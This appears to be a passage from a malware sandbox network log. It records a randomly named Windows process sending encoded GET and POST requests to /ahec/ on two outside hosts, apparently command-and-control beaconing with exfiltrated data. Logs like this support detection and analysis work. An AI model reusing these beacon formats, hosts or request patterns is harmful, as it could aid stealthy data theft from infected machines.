Dec 8, 2023 14:53:09.144531965 CET	1286	IN	Data Raw: 49 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 64 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 52 53 44 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6c 74 72 61 6c 6f 67 6f 73 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 3f Data Ascii: I" type="application/rsd+xml" title="RSD" href="https://altralogos.com/xmlrpc.php?rsd" /><meta name="generator" content="WordPress 6.4.2" /><meta name="theme-color" content="rgb(1,34,31)"><meta name="viewport" content="width=device-widt
Dec 8, 2023 14:53:09.144624949 CET	1286	IN	Data Raw: 70 3a 20 2d 30 70 78 3b 0a 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 2d 30 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 63 61 6c 63 28 31 30 30 25 20 2b 20 30 70 78 29 3b 0a 7d 0a 0a 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 Data Ascii: p: -0px;margin-bottom: -0px;height: calc(100% + 0px);}@media (min-width: 1025px) {.whb-top-bar-inner {height: 80px;max-height: 80px;}.whb-sticked .whb-top-bar-inner {height: 40px;max-height: 40px;}.whb-he
Dec 8, 2023 14:53:09.144694090 CET	1286	IN	Data Raw: 6c 61 79 22 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 2d 2d 77 64 2d 74 69 74 6c 65 2d 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 0a 2d 2d 77 64 2d 74 69 74 6c 65 2d 63 6f 6c 6f 72 3a 23 Data Ascii: lay", Arial, Helvetica, sans-serif;--wd-title-font-weight:600;--wd-title-color:#242424;}:root{--wd-entities-title-font:"Playfair Display", Arial, Helvetica, sans-serif;--wd-entities-title-font-weight:700;--wd-entities-title-color:#33333
Dec 8, 2023 14:53:09.144754887 CET	1286	IN	Data Raw: 74 7b 0a 2d 2d 6e 6f 74 69 63 65 73 2d 73 75 63 63 65 73 73 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 0a 7d 0a 3a 72 6f 6f 74 7b 0a 2d 2d 6e 6f 74 69 63 65 73 2d 77 61 72 6e 69 6e 67 2d 62 67 3a 72 67 62 28 32 32 35 2c 31 31 33 2c 36 35 29 3b 0a 7d 0a Data Ascii: t{--notices-success-color:#fff;}:root{--notices-warning-bg:rgb(225,113,65);}:root{--notices-warning-color:#fff;}:root{--wd-form-brd-radius: 35px;--wd-form-brd-width: 2px;--btn-default-color: #ff
Dec 8, 2023 14:53:09.383884907 CET	1286	IN	Data Raw: 6e 2e 77 64 2d 73 65 63 74 69 6f 6e 2d 73 74 72 65 74 63 68 20 3e 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 63 6f 6c 75 6d 6e 2d 67 61 70 2d 64 65 66 61 75 6c 74 20 7b 0a 09 09 09 6d 61 78 2d 77 69 64 74 68 3a 20 31 32 31 32 70 78 3b 0a 09 09 7d 0a 09 Data Ascii: n.wd-section-stretch > .elementor-column-gap-default {max-width: 1212px;}.elementor-section.wd-section-stretch > .elementor-column-gap-extended {max-width: 1222px;}.elementor-section.wd-section-stretch > .elementor-column-g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49784	185.74.252.11	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:53:10.644355059 CET	471	OUT	GET /ahec/?XveXHZvx=3lo42cEGi68x7KhWvzM1eCzYORtkkO0ycY0hNiK/Qn4Z+z7fEU9kkqncAr7zuQTFBqkfWFiGtk2IJlit7AKpO/fBLfK4Y05FeQ==&l4xX=rDStpH0He HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.altralogos.com Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Dec 8, 2023 14:53:11.383486032 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 08 Dec 2023 13:53:10 GMT Server: Apache X-Powered-By: PHP/7.4.33 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, close Location: http://altralogos.com/ahec/?XveXHZvx=3lo42cEGi68x7KhWvzM1eCzYORtkkO0ycY0hNiK/Qn4Z+z7fEU9kkqncAr7zuQTFBqkfWFiGtk2IJlit7AKpO/fBLfK4Y05FeQ==&l4xX=rDStpH0He Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49785	107.178.250.177	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:53:18.315771103 CET	732	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.77moea.top Origin: http://www.77moea.top Referer: http://www.77moea.top/ahec/ Cache-Control: no-cache Content-Length: 189 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 62 36 64 5a 77 47 75 4a 75 74 74 73 4f 44 54 79 41 44 41 54 46 53 38 59 58 66 65 39 2b 63 2f 4b 73 69 48 42 65 56 67 76 37 4d 77 37 5a 30 4d 70 75 72 74 46 68 30 50 6e 65 59 6e 66 6c 6c 72 66 57 4b 58 6b 4d 76 6e 6a 38 55 31 77 4e 50 69 45 51 4c 76 67 79 5a 62 52 6c 46 6d 76 48 79 37 64 61 6e 39 78 59 64 2f 77 6b 68 53 46 31 32 64 55 65 67 51 49 4d 54 35 66 73 42 70 51 73 62 57 7a 57 45 2f 4b 42 75 6e 47 4b 63 68 4f 65 66 35 75 70 57 71 72 75 42 73 6c 66 67 6a 44 4c 72 48 66 2b 67 61 4d 4f 5a 69 41 4e 45 61 51 6a 42 71 36 6e 67 3d 3d Data Ascii: XveXHZvx=b6dZwGuJuttsODTyADATFS8YXfe9+c/KsiHBeVgv7Mw7Z0MpurtFh0PneYnfllrfWKXkMvnj8U1wNPiEQLvgyZbRlFmvHy7dan9xYd/wkhSF12dUegQIMT5fsBpQsbWzWE/KBunGKchOef5upWqruBslfgjDLrHf+gaMOZiANEaQjBq6ng==
Dec 8, 2023 14:53:18.642144918 CET	333	IN	HTTP/1.1 405 Method Not Allowed Server: nginx/1.20.2 Date: Fri, 08 Dec 2023 13:53:18 GMT Content-Type: text/html Content-Length: 157 Via: 1.1 google Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49786	107.178.250.177	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:53:20.967322111 CET	752	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.77moea.top Origin: http://www.77moea.top Referer: http://www.77moea.top/ahec/ Cache-Control: no-cache Content-Length: 209 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 62 36 64 5a 77 47 75 4a 75 74 74 73 50 69 6a 79 42 6b 73 54 56 43 38 62 5a 2f 65 39 33 38 2f 4f 73 69 4c 42 65 55 56 71 36 34 63 37 65 52 67 70 76 71 74 46 69 30 50 6e 47 6f 6d 58 68 6c 72 45 57 4b 72 73 4d 72 6e 6a 38 56 56 77 4e 50 53 45 52 36 76 68 79 4a 62 54 6a 46 6d 74 44 79 37 64 61 6e 39 78 59 64 37 61 6b 68 4b 46 31 46 56 55 52 69 34 4a 47 7a 35 63 6d 68 70 51 6f 62 57 33 57 45 2b 66 42 76 37 6f 4b 65 70 4f 65 65 6c 75 70 48 71 71 68 42 73 6e 51 41 69 42 4e 70 32 32 79 42 47 46 50 50 75 41 4e 41 4f 4f 69 55 47 70 67 63 4e 4a 39 32 6f 32 61 58 33 58 4c 2f 66 53 70 79 6b 73 52 42 34 3d Data Ascii: XveXHZvx=b6dZwGuJuttsPijyBksTVC8bZ/e938/OsiLBeUVq64c7eRgpvqtFi0PnGomXhlrEWKrsMrnj8VVwNPSER6vhyJbTjFmtDy7dan9xYd7akhKF1FVURi4JGz5cmhpQobW3WE+fBv7oKepOeelupHqqhBsnQAiBNp22yBGFPPuANAOOiUGpgcNJ92o2aX3XL/fSpyksRB4=
Dec 8, 2023 14:53:21.291337967 CET	176	IN	HTTP/1.1 405 Method Not Allowed Server: nginx/1.20.2 Date: Fri, 08 Dec 2023 13:53:21 GMT Content-Type: text/html Content-Length: 157 Via: 1.1 google Connection: close
Dec 8, 2023 14:53:21.294703007 CET	157	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49787	107.178.250.177	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:53:23.626859903 CET	10834	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.77moea.top Origin: http://www.77moea.top Referer: http://www.77moea.top/ahec/ Cache-Control: no-cache Content-Length: 10289 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 62 36 64 5a 77 47 75 4a 75 74 74 73 50 69 6a 79 42 6b 73 54 56 43 38 62 5a 2f 65 39 33 38 2f 4f 73 69 4c 42 65 55 56 71 36 35 49 37 65 6a 6f 70 75 4e 78 46 6a 30 50 6e 4c 49 6d 57 68 6c 71 55 57 4f 48 67 4d 72 6a 7a 38 51 52 77 4d 73 61 45 57 50 50 68 34 4a 62 54 76 6c 6d 73 48 79 36 46 61 6e 74 31 59 63 4c 61 6b 68 4b 46 31 45 6c 55 56 77 51 4a 41 7a 35 66 73 42 70 55 73 62 57 50 57 41 71 50 42 76 50 57 4b 76 4a 4f 65 2b 31 75 73 31 79 71 2b 78 73 70 54 41 69 6a 4e 70 36 74 79 46 6e 38 50 4c 76 72 4e 44 53 4f 6e 43 44 45 34 38 78 4e 67 32 38 43 48 31 76 56 4c 76 76 66 78 53 6b 51 48 52 4d 43 63 5a 34 59 34 74 2f 53 7a 6a 42 67 77 6b 39 78 52 76 41 50 7a 63 51 67 68 53 72 63 55 70 6a 79 70 73 2b 4d 2b 79 44 57 54 44 2b 34 76 67 75 56 59 54 61 4c 4c 4b 53 7a 70 46 6c 6b 52 6b 6c 65 64 43 2b 78 58 78 63 61 78 53 65 6a 6f 66 41 75 33 6e 50 68 78 73 7a 66 76 6f 6b 76 6f 55 6f 62 46 4c 43 74 6e 5a 31 56 64 5a 58 49 61 31 73 73 63 52 38 43 58 4b 57 58 52 33 32 31 64 6e 38 70 78 6a 6e 55 4e 36 46 4d 79 37 4a 5a 6c 2b 44 51 4b 77 75 37 68 34 74 38 67 53 46 43 36 30 32 52 42 43 57 70 2f 33 6d 6b 61 5a 62 6a 49 75 4a 6d 34 76 43 41 73 61 4d 4f 43 58 56 61 39 59 7a 52 77 75 67 6e 6e 43 31 47 69 5a 6b 50 6a 4f 79 55 30 39 6f 33 76 5a 58 70 44 65 35 50 54 41 73 47 44 74 6a 52 56 65 31 61 57 79 53 65 6a 71 70 30 5a 4a 51 6b 58 2b 37 6a 66 38 37 58 2f 54 4a 2b 30 53 4e 53 4d 4e 44 35 31 74 45 37 6c 36 31 6b 61 46 61 30 37 63 45 79 6c 48 69 74 63 76 65 64 7a 34 45 4a 36 58 75 39 68 43 74 4a 59 50 6b 4d 42 6c 4e 59 39 41 64 2f 52 70 4c 61 2f 61 34 4d 4d 59 31 32 43 53 33 6d 69 6f 71 6f 4b 39 79 2b 55 4c 46 31 4a 4e 6e 72 57 65 49 7a 42 67 51 30 45 4a 37 33 79 46 63 48 6e 62 35 48 51 65 4a 44 45 30 34 59 41 2f 33 53 4c 36 58 78 64 5a 6d 54 37 31 64 4e 74 79 30 6d 61 58 57 6c 61 63 63 51 4c 35 65 67 33 6a 67 30 34 68 4f 71 6c 66 4c 6d 4f 6d 64 42 31 6b 41 46 38 31 37 46 33 41 6a 68 4b 79 58 6a 36 6e 4c 55 7a 32 73 59 71 2b 62 59 59 6e 4a 58 7a 45 5a 71 31 54 38 62 50 71 30 36 49 66 32 73 62 2b 65 30 33 35 70 51 31 69 68 48 77 42 50 58 63 4e 72 2b 79 64 74 43 71 53 33 4c 5a 72 34 74 4b 77 78 45 75 57 31 56 35 74 78 71 45 67 53 77 73 37 67 52 7a 47 6f 6e 4c 50 39 67 64 66 4f 79 50 69 5a 6b 52 74 62 44 61 51 52 5a 5a 6b 5a 52 44 62 74 65 64 4a 74 31 6d 2b 4e 56 6e 6a 36 6b 42 4a 6c 72 76 53 67 4c 78 69 32 39 50 34 57 6d 4f 4e 37 48 41 32 72 69 63 41 31 4a 69 64 53 43 56 75 74 49 51 57 36 4c 4a 6b 35 75 61 41 55 56 4e 43 44 34 62 35 2b 41 66 31 39 51 45 71 67 77 63 38 4e 4e 79 6c 47 70 54 58 79 4a 37 6c 61 2f 57 33 55 47 69 46 38 79 57 67 2f 67 6d 6b 4b 65 45 41 4d 6e 33 4c 34 51 52 69 37 77 50 74 42 71 77 45 52 41 64 63 69 4e 78 6e 34 78 4d 34 30 38 66 76 62 49 42 4a 68 64 2f 55 35 73 2f 39 7a 49 30 38 34 78 79 35 39 64 65 4a 37 55 77 76 31 51 61 6d 39 6e 63 38 57 48 74 46 79 31 53 35 59 34 68 71 55 47 34 66 36 37 39 75 38 45 34 30 4f 63 78 58 49 68 35 61 77 2f 65 58 64 59 7a 6b 56 53 51 4a 38 55 37 36 76 79 56 2b 33 36 69 36 57 59 71 39 4b 55 6c 57 42 62 58 59 46 56 39 67 36 37 59 63 4e 4c 53 39 52 77 6f 44 55 2f 77 39 43 70 79 32 64 53 45 32 6f 76 62 42 36 50 44 71 48 57 2b 52 42 35 4d 56 66 4a 7a 73 63 6f 4f 41 6a 65 62 6c 44 33 2f 72 49 77 36 72 6d 54 4d 78 57 79 6c 6a 65 54 2f 32 6b 49 57 54 4a 6f 4a 62 45 37 58 71 63 30 78 51 38 7a 52 65 6e 66 6e 65 6f 4c 78 39 59 5a 46 68 79 67 52 70 2f 78 77 6a 32 59 43 37 72 6d 32 31 55 31 6b 53 4b 47 4a 76 54 5a 46 6e 43 76 49 53 76 68 53 61 74 4a 57 48 4c 44 78 45 76 64 52 4b 47 58 37 56 54 39 57 47 36 44 31 34 2f 72 75 44 53 67 6f 36 4e 47 51 35 31 33 32 6c 4d 79 72 4f 33 38 70 68 57 33 2b 39 30 73 58 2b 6b 41 2b 67 2f 4e 43 79 69 63 73 57 4c 43 77 6e 78 33 44 6d 6d 53 44 54 39 35 6f 37 61 5a 4b 51 6b 45 43 43 37 41 6e 4e 55 37 56 4d 41 70 2b 4b 6a 39 46 6c 41 38 73 4a 33 5a 7a 36 4d 62 4c 52 7a 71 73 51 55 4f 53 72 44 44 39 62 36 41 2f 61 6a 52 37 73 66 79 43 6e 76 7a 38 6a 63 42 6a 4e 75 4c 49 30 7a 65 47 79 4b 52 65 46 38 64 36 75 5a 61 39 51 5a 54 79 5a 6b 42 2f 39 67 39 48 65 36 30 31 74 45 6b 79 66 38 51 6e 33 73 6b 36 5a 4e 51 55 79 39 31 31 44 75 2b 32 30 Data Ascii: XveXHZvx=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
Dec 8, 2023 14:53:23.953020096 CET	333	IN	HTTP/1.1 405 Method Not Allowed Server: nginx/1.20.2 Date: Fri, 08 Dec 2023 13:53:23 GMT Content-Type: text/html Content-Length: 157 Via: 1.1 google Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49788	107.178.250.177	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:53:26.280189991 CET	467	OUT	GET /ahec/?XveXHZvx=W415zxONlMY0LROHEGAnVDwgVvy34PrUrzPBSWER7JgIGEVSpL5hn1DTAqCrj0fiYOesE/vl81lAGPaeX7al4cCYp0GZGyu2aw==&l4xX=rDStpH0He HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.77moea.top Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Dec 8, 2023 14:53:26.606383085 CET	379	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Fri, 08 Dec 2023 13:53:26 GMT Content-Type: text/html Content-Length: 5208 Last-Modified: Wed, 11 Oct 2023 10:00:52 GMT Vary: Accept-Encoding ETag: "65267254-1458" Cache-Control: no-cache Accept-Ranges: bytes Via: 1.1 google Connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 7a 68 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 Data Ascii: <!doctype html><html lang="zh"><head><meta charset="UTF-8"><meta name="viewport
